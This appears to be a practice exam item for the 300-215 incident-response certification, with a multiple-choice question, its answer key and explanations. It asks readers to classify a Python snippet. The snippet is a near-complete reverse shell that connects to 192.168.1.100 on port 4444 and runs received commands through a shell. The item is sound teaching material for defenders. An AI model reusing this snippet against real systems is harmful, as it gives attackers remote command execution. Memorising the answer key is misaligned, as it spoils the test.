300-215 Question 97
Single answerYou are analyzing a snippet of potentially malicious code found during a security incident. The code is as follows:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.100', 4444))
while True:
command = s.recv(1024)
if command.decode('utf-8') == 'exit':
break
output = subprocess.run(command.decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
s.send(output.stdout + output.stderr)
What type of code does this snippet represent?
- A
A reverse shell script
- B
A keylogger
- C
A ransomware script
- D
A port scanner
Show answer and explanation
Correct answer: A
Explanation
This snippet represents a reverse shell script because it establishes a connection to a remote host and allows the attacker to execute commands remotely, sending back the command output. Identifying the type of malicious code is critical during forensic analysis and incident response to understand the attacker's intent and take appropriate remediation steps.
- A. Correct.
This is a reverse shell script. It connects to a remote IP and port, waits for commands, executes them, and sends the output back. The use of 'socket' for establishing a connection and 'subprocess' for command execution is indicative of reverse shell behavior.
- B. Incorrect.
This is not a keylogger. A keylogger typically involves capturing keystrokes and storing or transmitting them, which is not present in this code.
- C. Incorrect.
This is not a ransomware script. Ransomware typically involves encrypting files or data and demanding a ransom. There is no encryption or ransom logic in this code.
- D. Incorrect.
This is not a port scanner. A port scanner involves scanning a range of IPs and ports to check for open ones, which is not the functionality shown in this code.